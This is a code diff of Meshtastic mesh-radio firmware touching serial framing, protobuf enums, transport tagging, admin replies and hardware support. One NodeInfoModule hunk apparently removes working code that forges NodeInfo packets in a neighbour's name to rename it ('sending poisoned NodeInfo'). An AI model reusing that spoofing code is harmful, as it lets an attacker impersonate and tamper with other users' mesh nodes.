// console->printf("rxPtr %d ptr=%d c=0x%x\n", rxPtr, ptr, c);
|
||||
|
||||
if (ptr == 0) { // looking for START1
|
||||
if (c != START1)
|
||||
rxPtr = 0; // failed to find framing
|
||||
} else if (ptr == 1) { // looking for START2
|
||||
if (c != START2)
|
||||
rxPtr = 0; // failed to find framing
|
||||
} else if (ptr >= HEADER_LEN - 1) { // we have at least read our 4 byte framing
|
||||
uint32_t len = (rxBuf[2] << 8) + rxBuf[3]; // big endian 16 bit length follows framing
|
||||
|
||||
// console->printf("len %d\n", len);
|
||||
|
||||
if (ptr == HEADER_LEN - 1) {
|
||||
// we _just_ finished our 4 byte header, validate length now (note: a length of zero is a valid
|
||||
// protobuf also)
|
||||
if (len > MAX_TO_FROM_RADIO_SIZE)
|
||||
rxPtr = 0; // length is bogus, restart search for framing
|
||||
}
|
||||
|
||||
if (rxPtr != 0) // Is packet still considered 'good'?
|
||||
if (ptr + 1 >= len + HEADER_LEN) { // have we received all of the payload?
|
||||
rxPtr = 0; // start over again on the next packet
|
||||
|
||||
// If we didn't just fail the packet and we now have the right # of bytes, parse it
|
||||
handleToRadio(rxBuf + HEADER_LEN, len);
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read any rx chars from the link and call handleToRadio
|
||||
*/
|
||||
@@ -76,21 +165,6 @@ int32_t StreamAPI::readStream()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* call getFromRadio() and deliver encapsulated packets to the Stream
|
||||
*/
|
||||
void StreamAPI::writeStream()
|
||||
{
|
||||
if (canWrite) {
|
||||
uint32_t len;
|
||||
do {
|
||||
// Send every packet we can
|
||||
len = getFromRadio(txBuf + HEADER_LEN);
|
||||
emitTxBuffer(len);
|
||||
} while (len);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send the current txBuffer over our stream
|
||||
*/
|
||||
|
||||
@@ -50,12 +50,15 @@ class StreamAPI : public PhoneAPI
|
||||
* phone.
|
||||
*/
|
||||
virtual int32_t runOncePart();
|
||||
virtual int32_t runOncePart(char *buf,uint16_t bufLen);
|
||||
|
||||
private:
|
||||
/**
|
||||
* Read any rx chars from the link and call handleToRadio
|
||||
*/
|
||||
int32_t readStream();
|
||||
int32_t readStream(char *buf,uint16_t bufLen);
|
||||
int32_t handleRecStream(char *buf,uint16_t bufLen);
|
||||
|
||||
/**
|
||||
* call getFromRadio() and deliver encapsulated packets to the Stream
|
||||
|
||||
@@ -59,6 +59,7 @@ bool PacketAPI::receivePacket(void)
|
||||
switch (mr->which_payload_variant) {
|
||||
case meshtastic_ToRadio_packet_tag: {
|
||||
meshtastic_MeshPacket *mp = &mr->packet;
|
||||
mp->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_API;
|
||||
printPacket("PACKET FROM QUEUE", mp);
|
||||
service->handleToRadio(*mp);
|
||||
break;
|
||||
|
||||
@@ -207,10 +207,10 @@ typedef enum _meshtastic_Config_DisplayConfig_OledType {
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SSD1306 = 1,
|
||||
/* Default / Autodetect */
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SH1106 = 2,
|
||||
/* Can not be auto detected but set by proto. Used for 128x128 screens */
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SH1107 = 3,
|
||||
/* Can not be auto detected but set by proto. Used for 128x64 screens */
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_64 = 4
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SH1107 = 3,
|
||||
/* Can not be auto detected but set by proto. Used for 128x128 screens */
|
||||
meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_128 = 4
|
||||
} meshtastic_Config_DisplayConfig_OledType;
|
||||
|
||||
typedef enum _meshtastic_Config_DisplayConfig_DisplayMode {
|
||||
@@ -682,8 +682,8 @@ extern "C" {
|
||||
#define _meshtastic_Config_DisplayConfig_DisplayUnits_ARRAYSIZE ((meshtastic_Config_DisplayConfig_DisplayUnits)(meshtastic_Config_DisplayConfig_DisplayUnits_IMPERIAL+1))
|
||||
|
||||
#define _meshtastic_Config_DisplayConfig_OledType_MIN meshtastic_Config_DisplayConfig_OledType_OLED_AUTO
|
||||
#define _meshtastic_Config_DisplayConfig_OledType_MAX meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_64
|
||||
#define _meshtastic_Config_DisplayConfig_OledType_ARRAYSIZE ((meshtastic_Config_DisplayConfig_OledType)(meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_64+1))
|
||||
#define _meshtastic_Config_DisplayConfig_OledType_MAX meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_128
|
||||
#define _meshtastic_Config_DisplayConfig_OledType_ARRAYSIZE ((meshtastic_Config_DisplayConfig_OledType)(meshtastic_Config_DisplayConfig_OledType_OLED_SH1107_128_128+1))
|
||||
|
||||
#define _meshtastic_Config_DisplayConfig_DisplayMode_MIN meshtastic_Config_DisplayConfig_DisplayMode_DEFAULT
|
||||
#define _meshtastic_Config_DisplayConfig_DisplayMode_MAX meshtastic_Config_DisplayConfig_DisplayMode_COLOR
|
||||
|
||||
@@ -270,6 +270,8 @@ typedef enum _meshtastic_HardwareModel {
|
||||
/* MeshSolar is an integrated power management and communication solution designed for outdoor low-power devices.
|
||||
https://heltec.org/project/meshsolar/ */
|
||||
meshtastic_HardwareModel_HELTEC_MESH_SOLAR = 108,
|
||||
/* Lilygo T-Echo Lite */
|
||||
meshtastic_HardwareModel_T_ECHO_LITE = 109,
|
||||
/* ------------------------------------------------------------------------------------------------------------------------------------------
|
||||
Reserved ID For developing private Ports. These will show up in live traffic sparsely, so we can use a high number. Keep it within 8 bits.
|
||||
------------------------------------------------------------------------------------------------------------------------------------------ */
|
||||
|
||||
@@ -99,7 +99,9 @@ typedef enum _meshtastic_TelemetrySensorType {
|
||||
/* Sensirion SFA30 Formaldehyde sensor */
|
||||
meshtastic_TelemetrySensorType_SFA30 = 42,
|
||||
/* SEN5X PM SENSORS */
|
||||
meshtastic_TelemetrySensorType_SEN5X = 43
|
||||
meshtastic_TelemetrySensorType_SEN5X = 43,
|
||||
/* TSL2561 light sensor */
|
||||
meshtastic_TelemetrySensorType_TSL2561 = 44
|
||||
} meshtastic_TelemetrySensorType;
|
||||
|
||||
/* Struct definitions */
|
||||
@@ -434,8 +436,8 @@ extern "C" {
|
||||
|
||||
/* Helper constants for enums */
|
||||
#define _meshtastic_TelemetrySensorType_MIN meshtastic_TelemetrySensorType_SENSOR_UNSET
|
||||
#define _meshtastic_TelemetrySensorType_MAX meshtastic_TelemetrySensorType_SEN5X
|
||||
#define _meshtastic_TelemetrySensorType_ARRAYSIZE ((meshtastic_TelemetrySensorType)(meshtastic_TelemetrySensorType_SEN5X+1))
|
||||
#define _meshtastic_TelemetrySensorType_MAX meshtastic_TelemetrySensorType_TSL2561
|
||||
#define _meshtastic_TelemetrySensorType_ARRAYSIZE ((meshtastic_TelemetrySensorType)(meshtastic_TelemetrySensorType_TSL2561+1))
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -50,6 +50,7 @@ class UdpMulticastHandler final
|
||||
LOG_DEBUG("UDP broadcast from: %s, len=%u", packet.remoteIP().toString().c_str(), packetLength);
|
||||
#endif
|
||||
meshtastic_MeshPacket mp;
|
||||
mp.transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MULTICAST_UDP;
|
||||
LOG_DEBUG("Decoding MeshPacket from UDP len=%u", packetLength);
|
||||
bool isPacketDecoded = pb_decode_from_bytes(packet.data(), packetLength, &meshtastic_MeshPacket_msg, &mp);
|
||||
if (isPacketDecoded && router && mp.which_payload_variant == meshtastic_MeshPacket_encrypted_tag) {
|
||||
@@ -78,6 +79,9 @@ class UdpMulticastHandler final
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
if (mp->transport_mechanism == meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MULTICAST_UDP) {
|
||||
LOG_ERROR("Attempt to send UDP sourced packet over UDP");
|
||||
}
|
||||
LOG_DEBUG("Broadcasting packet over UDP (id=%u)", mp->id);
|
||||
uint8_t buffer[meshtastic_MeshPacket_size];
|
||||
size_t encodedLength = pb_encode_to_bytes(buffer, sizeof(buffer), &meshtastic_MeshPacket_msg, mp);
|
||||
|
||||
@@ -505,7 +505,9 @@ bool AdminModule::handleReceivedProtobuf(const meshtastic_MeshPacket &mp, meshta
|
||||
if (mp.decoded.want_response && !myReply) {
|
||||
myReply = allocErrorResponse(meshtastic_Routing_Error_NONE, &mp);
|
||||
}
|
||||
|
||||
if (mp.pki_encrypted && myReply) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
return handled;
|
||||
}
|
||||
|
||||
@@ -718,6 +720,13 @@ void AdminModule::handleSetConfig(const meshtastic_Config &c)
|
||||
requiresReboot = false;
|
||||
}
|
||||
|
||||
#if defined(ARCH_PORTDUINO)
|
||||
// If running on portduino and using SimRadio, do not require reboot
|
||||
if (SimRadio::instance) {
|
||||
requiresReboot = false;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef RF95_FAN_EN
|
||||
// Turn PA off if disabled by config
|
||||
if (c.payload_variant.lora.pa_fan_disabled) {
|
||||
@@ -934,6 +943,9 @@ void AdminModule::handleGetOwner(const meshtastic_MeshPacket &req)
|
||||
res.which_payload_variant = meshtastic_AdminMessage_get_owner_response_tag;
|
||||
setPassKey(&res);
|
||||
myReply = allocDataProtobuf(res);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1005,6 +1017,9 @@ void AdminModule::handleGetConfig(const meshtastic_MeshPacket &req, const uint32
|
||||
res.which_payload_variant = meshtastic_AdminMessage_get_config_response_tag;
|
||||
setPassKey(&res);
|
||||
myReply = allocDataProtobuf(res);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1092,6 +1107,9 @@ void AdminModule::handleGetModuleConfig(const meshtastic_MeshPacket &req, const
|
||||
res.which_payload_variant = meshtastic_AdminMessage_get_module_config_response_tag;
|
||||
setPassKey(&res);
|
||||
myReply = allocDataProtobuf(res);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1116,6 +1134,9 @@ void AdminModule::handleGetNodeRemoteHardwarePins(const meshtastic_MeshPacket &r
|
||||
}
|
||||
setPassKey(&r);
|
||||
myReply = allocDataProtobuf(r);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
|
||||
void AdminModule::handleGetDeviceMetadata(const meshtastic_MeshPacket &req)
|
||||
@@ -1125,6 +1146,9 @@ void AdminModule::handleGetDeviceMetadata(const meshtastic_MeshPacket &req)
|
||||
r.which_payload_variant = meshtastic_AdminMessage_get_device_metadata_response_tag;
|
||||
setPassKey(&r);
|
||||
myReply = allocDataProtobuf(r);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
|
||||
void AdminModule::handleGetDeviceConnectionStatus(const meshtastic_MeshPacket &req)
|
||||
@@ -1193,6 +1217,9 @@ void AdminModule::handleGetDeviceConnectionStatus(const meshtastic_MeshPacket &r
|
||||
r.which_payload_variant = meshtastic_AdminMessage_get_device_connection_status_response_tag;
|
||||
setPassKey(&r);
|
||||
myReply = allocDataProtobuf(r);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
|
||||
void AdminModule::handleGetChannel(const meshtastic_MeshPacket &req, uint32_t channelIndex)
|
||||
@@ -1204,6 +1231,9 @@ void AdminModule::handleGetChannel(const meshtastic_MeshPacket &req, uint32_t ch
|
||||
r.which_payload_variant = meshtastic_AdminMessage_get_channel_response_tag;
|
||||
setPassKey(&r);
|
||||
myReply = allocDataProtobuf(r);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1213,6 +1243,9 @@ void AdminModule::handleGetDeviceUIConfig(const meshtastic_MeshPacket &req)
|
||||
r.which_payload_variant = meshtastic_AdminMessage_get_ui_config_response_tag;
|
||||
r.get_ui_config_response = uiconfig;
|
||||
myReply = allocDataProtobuf(r);
|
||||
if (req.pki_encrypted) {
|
||||
myReply->pki_encrypted = true;
|
||||
}
|
||||
}
|
||||
|
||||
void AdminModule::reboot(int32_t seconds)
|
||||
|
||||
@@ -78,16 +78,15 @@ void CannedMessageModule::LaunchWithDestination(NodeNum newDest, uint8_t newChan
|
||||
lastDestSet = true;
|
||||
|
||||
// Rest of function unchanged...
|
||||
// Always select the first real canned message on activation
|
||||
int firstRealMsgIdx = 0;
|
||||
// Upon activation, highlight "[Select Destination]"
|
||||
int selectDestination = 0;
|
||||
for (int i = 0; i < messagesCount; ++i) {
|
||||
if (strcmp(messages[i], "[Select Destination]") != 0 && strcmp(messages[i], "[Exit]") != 0 &&
|
||||
strcmp(messages[i], "[---- Free Text ----]") != 0) {
|
||||
firstRealMsgIdx = i;
|
||||
if (strcmp(messages[i], "[Select Destination]") == 0) {
|
||||
selectDestination = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
currentMessageIndex = firstRealMsgIdx;
|
||||
currentMessageIndex = selectDestination;
|
||||
|
||||
// This triggers the canned message list
|
||||
runState = CANNED_MESSAGE_RUN_STATE_ACTIVE;
|
||||
@@ -633,10 +632,10 @@ bool CannedMessageModule::handleMessageSelectorInput(const InputEvent *event, bo
|
||||
// Normal canned message selection
|
||||
if (runState == CANNED_MESSAGE_RUN_STATE_INACTIVE || runState == CANNED_MESSAGE_RUN_STATE_DISABLED) {
|
||||
} else {
|
||||
#if CANNED_MESSAGE_ADD_CONFIRMATION
|
||||
// Show confirmation dialog before sending canned message
|
||||
NodeNum destNode = dest;
|
||||
ChannelIndex chan = channel;
|
||||
#if CANNED_MESSAGE_ADD_CONFIRMATION
|
||||
graphics::menuHandler::showConfirmationBanner("Send message?", [this, destNode, chan, current]() {
|
||||
this->sendText(destNode, chan, current, false);
|
||||
payload = runState;
|
||||
@@ -992,24 +991,22 @@ int32_t CannedMessageModule::runOnce()
|
||||
this->runState = CANNED_MESSAGE_RUN_STATE_INACTIVE;
|
||||
}
|
||||
}
|
||||
e.action = UIFrameEvent::Action::REGENERATE_FRAMESET;
|
||||
this->currentMessageIndex = -1;
|
||||
this->freetext = "";
|
||||
this->cursor = 0;
|
||||
this->notifyObservers(&e);
|
||||
return 2000;
|
||||
}
|
||||
// Always highlight the first real canned message when entering the message list
|
||||
// Highlight [Select Destination] initially when entering the message list
|
||||
else if ((this->runState != CANNED_MESSAGE_RUN_STATE_FREETEXT) && (this->currentMessageIndex == -1)) {
|
||||
int firstRealMsgIdx = 0;
|
||||
int selectDestination = 0;
|
||||
for (int i = 0; i < this->messagesCount; ++i) {
|
||||
if (strcmp(this->messages[i], "[Select Destination]") != 0 && strcmp(this->messages[i], "[Exit]") != 0 &&
|
||||
strcmp(this->messages[i], "[---- Free Text ----]") != 0) {
|
||||
firstRealMsgIdx = i;
|
||||
if (strcmp(this->messages[i], "[Select Destination]") == 0) {
|
||||
selectDestination = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
this->currentMessageIndex = firstRealMsgIdx;
|
||||
this->currentMessageIndex = selectDestination;
|
||||
e.action = UIFrameEvent::Action::REGENERATE_FRAMESET;
|
||||
this->runState = CANNED_MESSAGE_RUN_STATE_ACTIVE;
|
||||
} else if (this->runState == CANNED_MESSAGE_RUN_STATE_ACTION_UP) {
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
#include "buzz/BuzzerFeedbackThread.h"
|
||||
#include "input/ExpressLRSFiveWay.h"
|
||||
#include "input/InputBroker.h"
|
||||
#include "input/RotaryEncoderImpl.h"
|
||||
#include "input/RotaryEncoderInterruptImpl1.h"
|
||||
#include "input/SerialKeyboardImpl.h"
|
||||
#include "input/TrackballInterruptImpl1.h"
|
||||
@@ -170,11 +171,20 @@ void setupModules()
|
||||
delete rotaryEncoderInterruptImpl1;
|
||||
rotaryEncoderInterruptImpl1 = nullptr;
|
||||
}
|
||||
#ifdef T_LORA_PAGER
|
||||
// use a special FSM based rotary encoder version for T-LoRa Pager
|
||||
rotaryEncoderImpl = new RotaryEncoderImpl();
|
||||
if (!rotaryEncoderImpl->init()) {
|
||||
delete rotaryEncoderImpl;
|
||||
rotaryEncoderImpl = nullptr;
|
||||
}
|
||||
#else
|
||||
upDownInterruptImpl1 = new UpDownInterruptImpl1();
|
||||
if (!upDownInterruptImpl1->init()) {
|
||||
delete upDownInterruptImpl1;
|
||||
upDownInterruptImpl1 = nullptr;
|
||||
}
|
||||
#endif
|
||||
cardKbI2cImpl = new CardKbI2cImpl();
|
||||
cardKbI2cImpl->init();
|
||||
#ifdef INPUTBROKER_MATRIX_TYPE
|
||||
|
||||
@@ -105,14 +105,15 @@ void NeighborInfoModule::sendNeighborInfo(NodeNum dest, bool wantReplies)
|
||||
{
|
||||
meshtastic_NeighborInfo neighborInfo = meshtastic_NeighborInfo_init_zero;
|
||||
collectNeighborInfo(&neighborInfo);
|
||||
meshtastic_MeshPacket *p = allocDataProtobuf(neighborInfo);
|
||||
// send regardless of whether or not we have neighbors in our DB,
|
||||
// because we want to get neighbors for the next cycle
|
||||
p->to = dest;
|
||||
p->decoded.want_response = wantReplies;
|
||||
p->priority = meshtastic_MeshPacket_Priority_BACKGROUND;
|
||||
printNeighborInfo("SENDING", &neighborInfo);
|
||||
service->sendToMesh(p, RX_SRC_LOCAL, true);
|
||||
// only send neighbours if we have some to send
|
||||
if (neighborInfo.neighbors_count > 0) {
|
||||
meshtastic_MeshPacket *p = allocDataProtobuf(neighborInfo);
|
||||
p->to = dest;
|
||||
p->decoded.want_response = wantReplies;
|
||||
p->priority = meshtastic_MeshPacket_Priority_BACKGROUND;
|
||||
printNeighborInfo("SENDING", &neighborInfo);
|
||||
service->sendToMesh(p, RX_SRC_LOCAL, true);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -214,4 +215,4 @@ meshtastic_Neighbor *NeighborInfoModule::getOrCreateNeighbor(NodeNum originalSen
|
||||
neighbors.push_back(new_nbr);
|
||||
}
|
||||
return &neighbors.back();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@
|
||||
#include "configuration.h"
|
||||
#include "main.h"
|
||||
#include <Throttle.h>
|
||||
#include <pb_encode.h>
|
||||
|
||||
NodeInfoModule *nodeInfoModule;
|
||||
|
||||
@@ -15,48 +14,15 @@ bool NodeInfoModule::handleReceivedProtobuf(const meshtastic_MeshPacket &mp, mes
|
||||
{
|
||||
auto p = *pptr;
|
||||
|
||||
if (mp.from == nodeDB->getNodeNum()) {
|
||||
LOG_WARN("Ignoring packet supposed to be from our own node: %08x", mp.from);
|
||||
return false;
|
||||
}
|
||||
if (p.is_licensed != owner.is_licensed) {
|
||||
LOG_WARN("Invalid nodeInfo detected, is_licensed mismatch!");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Only send response if SNR is excellent (very close) and it's a direct neighbor
|
||||
if (mp.rx_snr < 5) {
|
||||
LOG_DEBUG("Skip poisoning NodeInfo, SNR too low: %.2f", mp.rx_snr);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it's a direct neighbor (zero hops away)
|
||||
uint8_t hops_away = mp.hop_start - mp.hop_limit;
|
||||
if (hops_away != 0) {
|
||||
LOG_DEBUG("Skip poisoning NodeInfo, not a direct neighbor (hops: %d)", hops_away);
|
||||
return false;
|
||||
}
|
||||
delay(1500);
|
||||
|
||||
LOG_INFO("Excellent SNR (%.2f) and direct neighbor detected, sending poisoned NodeInfo", mp.rx_snr);
|
||||
|
||||
strncpy(p.long_name, "New Node Name🥷", sizeof(p.long_name));
|
||||
p.long_name[sizeof(p.long_name) - 1] = '\0';
|
||||
|
||||
meshtastic_MeshPacket *packet = router->allocForSending();
|
||||
packet->from = mp.from;
|
||||
packet->to = mp.to;
|
||||
packet->channel = mp.channel;
|
||||
packet->which_payload_variant = meshtastic_MeshPacket_decoded_tag;
|
||||
packet->decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
|
||||
|
||||
// Encode the modified User data into the packet payload
|
||||
packet->decoded.payload.size =
|
||||
pb_encode_to_bytes(packet->decoded.payload.bytes, sizeof(packet->decoded.payload.bytes), &meshtastic_User_msg, &p);
|
||||
|
||||
auto encodeResult = perhapsEncode(packet);
|
||||
|
||||
// Send raw packet directly via router interface
|
||||
ErrorCode res = router->rawSend(packet);
|
||||
LOG_INFO("Raw nodeinfo sent with result: %d", res);
|
||||
return res == ERRNO_OK;
|
||||
|
||||
// Coerce user.id to be derived from the node number
|
||||
snprintf(p.id, sizeof(p.id), "!%08x", getFrom(&mp));
|
||||
|
||||
|
||||
@@ -45,6 +45,9 @@
|
||||
|
||||
|
||||
*/
|
||||
#ifdef HELTEC_MESH_SOLAR
|
||||
#include "meshSolarApp.h"
|
||||
#endif
|
||||
|
||||
#if (defined(ARCH_ESP32) || defined(ARCH_NRF52) || defined(ARCH_RP2040)) && !defined(CONFIG_IDF_TARGET_ESP32S2) && \
|
||||
!defined(CONFIG_IDF_TARGET_ESP32C3)
|
||||
@@ -61,7 +64,7 @@ SerialModule *serialModule;
|
||||
SerialModuleRadio *serialModuleRadio;
|
||||
|
||||
#if defined(TTGO_T_ECHO) || defined(CANARYONE) || defined(MESHLINK) || defined(ELECROW_ThinkNode_M1) || \
|
||||
defined(ELECROW_ThinkNode_M5)
|
||||
defined(ELECROW_ThinkNode_M5) || defined(HELTEC_MESH_SOLAR) || defined(T_ECHO_LITE)
|
||||
SerialModule::SerialModule() : StreamAPI(&Serial), concurrency::OSThread("Serial") {}
|
||||
static Print *serialPrint = &Serial;
|
||||
#elif defined(CONFIG_IDF_TARGET_ESP32C6)
|
||||
@@ -78,7 +81,8 @@ size_t serialPayloadSize;
|
||||
bool SerialModule::isValidConfig(const meshtastic_ModuleConfig_SerialConfig &config)
|
||||
{
|
||||
if (config.override_console_serial_port && !IS_ONE_OF(config.mode, meshtastic_ModuleConfig_SerialConfig_Serial_Mode_NMEA,
|
||||
meshtastic_ModuleConfig_SerialConfig_Serial_Mode_CALTOPO)) {
|
||||
meshtastic_ModuleConfig_SerialConfig_Serial_Mode_CALTOPO,
|
||||
meshtastic_ModuleConfig_SerialConfig_Serial_Mode_MS_CONFIG)) {
|
||||
const char *warning =
|
||||
"Invalid Serial config: override console serial port is only supported in NMEA and CalTopo output-only modes.";
|
||||
LOG_ERROR(warning);
|
||||
@@ -179,8 +183,8 @@ int32_t SerialModule::runOnce()
|
||||
Serial.begin(baud);
|
||||
Serial.setTimeout(moduleConfig.serial.timeout > 0 ? moduleConfig.serial.timeout : TIMEOUT);
|
||||
}
|
||||
#elif !defined(TTGO_T_ECHO) && !defined(CANARYONE) && !defined(MESHLINK) && !defined(ELECROW_ThinkNode_M1) && \
|
||||
!defined(ELECROW_ThinkNode_M5)
|
||||
#elif !defined(TTGO_T_ECHO) && !defined(T_ECHO_LITE) && !defined(CANARYONE) && !defined(MESHLINK) && \
|
||||
!defined(ELECROW_ThinkNode_M1) && !defined(ELECROW_ThinkNode_M5)
|
||||
if (moduleConfig.serial.rxd && moduleConfig.serial.txd) {
|
||||
#ifdef ARCH_RP2040
|
||||
Serial2.setFIFOSize(RX_BUFFER);
|
||||
@@ -236,12 +240,22 @@ int32_t SerialModule::runOnce()
|
||||
}
|
||||
}
|
||||
|
||||
#if !defined(TTGO_T_ECHO) && !defined(CANARYONE) && !defined(MESHLINK) && !defined(ELECROW_ThinkNode_M1) && \
|
||||
!defined(ELECROW_ThinkNode_M5)
|
||||
#if !defined(TTGO_T_ECHO) && !defined(T_ECHO_LITE) && !defined(CANARYONE) && !defined(MESHLINK) && \
|
||||
!defined(ELECROW_ThinkNode_M1) && !defined(ELECROW_ThinkNode_M5)
|
||||
else if ((moduleConfig.serial.mode == meshtastic_ModuleConfig_SerialConfig_Serial_Mode_WS85)) {
|
||||
processWXSerial();
|
||||
|
||||
} else {
|
||||
}
|
||||
#if defined(HELTEC_MESH_SOLAR)
|
||||
else if ((moduleConfig.serial.mode == meshtastic_ModuleConfig_SerialConfig_Serial_Mode_MS_CONFIG)) {
|
||||
serialPayloadSize = Serial.readBytes(serialBytes, sizeof(serialBytes) - 1);
|
||||
// If the parsing fails, the following parsing will be performed.
|
||||
if ((serialPayloadSize > 0) && (meshSolarCmdHandle(serialBytes) != 0)) {
|
||||
return runOncePart(serialBytes, serialPayloadSize);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
#if defined(CONFIG_IDF_TARGET_ESP32C6)
|
||||
while (Serial1.available()) {
|
||||
serialPayloadSize = Serial1.readBytes(serialBytes, meshtastic_Constants_DATA_PAYLOAD_LEN);
|
||||
@@ -496,8 +510,8 @@ ParsedLine parseLine(const char *line)
|
||||
*/
|
||||
void SerialModule::processWXSerial()
|
||||
{
|
||||
#if !defined(TTGO_T_ECHO) && !defined(CANARYONE) && !defined(CONFIG_IDF_TARGET_ESP32C6) && !defined(MESHLINK) && \
|
||||
!defined(ELECROW_ThinkNode_M1) && !defined(ELECROW_ThinkNode_M5)
|
||||
#if !defined(TTGO_T_ECHO) && !defined(T_ECHO_LITE) && !defined(CANARYONE) && !defined(CONFIG_IDF_TARGET_ESP32C6) && \
|
||||
!defined(MESHLINK) && !defined(ELECROW_ThinkNode_M1) && !defined(ELECROW_ThinkNode_M5)
|
||||
static unsigned int lastAveraged = 0;
|
||||
static unsigned int averageIntervalMillis = 300000; // 5 minutes hard coded.
|
||||
static double dir_sum_sin = 0;
|
||||
|
||||
@@ -602,7 +602,7 @@ void TraceRouteModule::drawFrame(OLEDDisplay *display, OLEDDisplayUiState *state
|
||||
int start = 0;
|
||||
int newlinePos = resultText.indexOf('\n', start);
|
||||
|
||||
while (newlinePos != -1 || start < resultText.length()) {
|
||||
while (newlinePos != -1 || start < static_cast<int>(resultText.length())) {
|
||||
String segment;
|
||||
if (newlinePos != -1) {
|
||||
segment = resultText.substring(start, newlinePos);
|
||||
@@ -624,7 +624,7 @@ void TraceRouteModule::drawFrame(OLEDDisplay *display, OLEDDisplayUiState *state
|
||||
int lastGoodBreak = -1;
|
||||
bool lineComplete = false;
|
||||
|
||||
for (int i = 0; i < remaining.length(); i++) {
|
||||
for (int i = 0; i < static_cast<int>(remaining.length()); i++) {
|
||||
char ch = remaining.charAt(i);
|
||||
String testLine = tempLine + ch;
|
||||
|
||||
|
||||
+4
-1
@@ -95,6 +95,7 @@ inline void onReceiveProto(char *topic, byte *payload, size_t length)
|
||||
p->hop_start = e.packet->hop_start;
|
||||
p->want_ack = e.packet->want_ack;
|
||||
p->via_mqtt = true; // Mark that the packet was received via MQTT
|
||||
p->transport_mechanism = meshtastic_MeshPacket_TransportMechanism_TRANSPORT_MQTT;
|
||||
p->which_payload_variant = e.packet->which_payload_variant;
|
||||
memcpy(&p->decoded, &e.packet->decoded, std::max(sizeof(p->decoded), sizeof(p->encrypted)));
|
||||
|
||||
@@ -278,6 +279,8 @@ struct PubSubConfig {
|
||||
|
||||
// Defaults
|
||||
static constexpr uint16_t defaultPort = 1883;
|
||||
static constexpr uint16_t defaultPortTls = 8883;
|
||||
|
||||
uint16_t serverPort = defaultPort;
|
||||
String serverAddr = default_mqtt_address;
|
||||
const char *mqttUsername = default_mqtt_username;
|
||||
@@ -640,7 +643,7 @@ bool MQTT::isValidConfig(const meshtastic_ModuleConfig_MQTTConfig &config, MQTTC
|
||||
}
|
||||
|
||||
const bool defaultServer = isDefaultServer(parsed.serverAddr);
|
||||
if (defaultServer && parsed.serverPort != PubSubConfig::defaultPort) {
|
||||
if (defaultServer && !IS_ONE_OF(parsed.serverPort, PubSubConfig::defaultPort, PubSubConfig::defaultPortTls)) {
|
||||
const char *warning = "Invalid MQTT config: default server address must not have a port specified";
|
||||
LOG_ERROR(warning);
|
||||
#if !IS_RUNNING_TESTS
|
||||
|
||||
@@ -223,9 +223,12 @@ void NimbleBluetooth::deinit()
|
||||
LOG_INFO("Disable bluetooth until reboot");
|
||||
|
||||
#ifdef BLE_LED
|
||||
#ifdef BLE_LED_INVERTED
|
||||
digitalWrite(BLE_LED, HIGH);
|
||||
#else
|
||||
digitalWrite(BLE_LED, LOW);
|
||||
#endif
|
||||
|
||||
#endif
|
||||
NimBLEDevice::deinit();
|
||||
#endif
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user